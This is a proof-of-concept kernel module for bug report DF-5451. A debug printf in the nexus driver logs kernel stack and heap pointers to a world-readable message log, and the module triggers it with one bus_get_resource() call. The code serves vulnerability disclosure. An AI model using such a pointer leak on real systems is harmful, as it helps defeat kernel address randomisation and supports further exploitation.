DF-5451 / nxget.c
/* * DF-5451 PoC — nexus_get_resource() debug kprintf leaks kernel pointers. * * sys/platform/pc64/x86_64/nexus.c:567 unconditionally prints * "type %d rid %d startp %p countp %p - got %p\n" * via device_printf() for EVERY bus_get_resource() on a direct nexus child: * - startp/countp are kernel stack addresses of the caller * - the last %p is the kmalloc'd struct resource_list_entry (kernel heap) * The line lands on the console and in the message buffer; on this system * /var/log/messages is mode 644, i.e. readable by every local user. * * This module is a nexus child that performs one ordinary * bus_get_resource() call and nothing else. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/bus.h> #include <sys/systm.h> static int nxget_probe(device_t); static int nxget_attach(device_t); static void nxget_identify(driver_t *, device_t); static device_method_t nxget_methods[] = { DEVMETHOD(device_identify, nxget_identify), DEVMETHOD(device_probe, nxget_probe), DEVMETHOD(device_attach, nxget_attach), DEVMETHOD_END }; static driver_t nxget_driver = { "nxget", nxget_methods, 0 }; static devclass_t nxget_devclass; DRIVER_MODULE(nxget, nexus, nxget_driver, nxget_devclass, NULL, NULL); static void nxget_identify(driver_t *drv, device_t parent) { if (device_find_child(parent, "nxget", 0) == NULL) BUS_ADD_CHILD(parent, parent, 0, "nxget", 0); } static int nxget_probe(device_t dev) { device_set_desc(dev, "nexus get_resource printf PoC"); return (0); } static int nxget_attach(device_t dev) { u_long start = 0, count = 0; int rid, error; if (bus_set_resource(dev, SYS_RES_MEMORY, 7, 0xE0000000UL, 0x1000UL, -1)) { kprintf("nxget: set_resource failed\n"); return (ENXIO); } rid = 7; error = bus_get_resource(dev, SYS_RES_MEMORY, rid, &start, &count); kprintf("DF-5451: bus_get_resource returned %d start=%#lx count=%#lx " "(the leaked-pointer line above came from nexus.c:567)\n", error, start, count); return (0); } |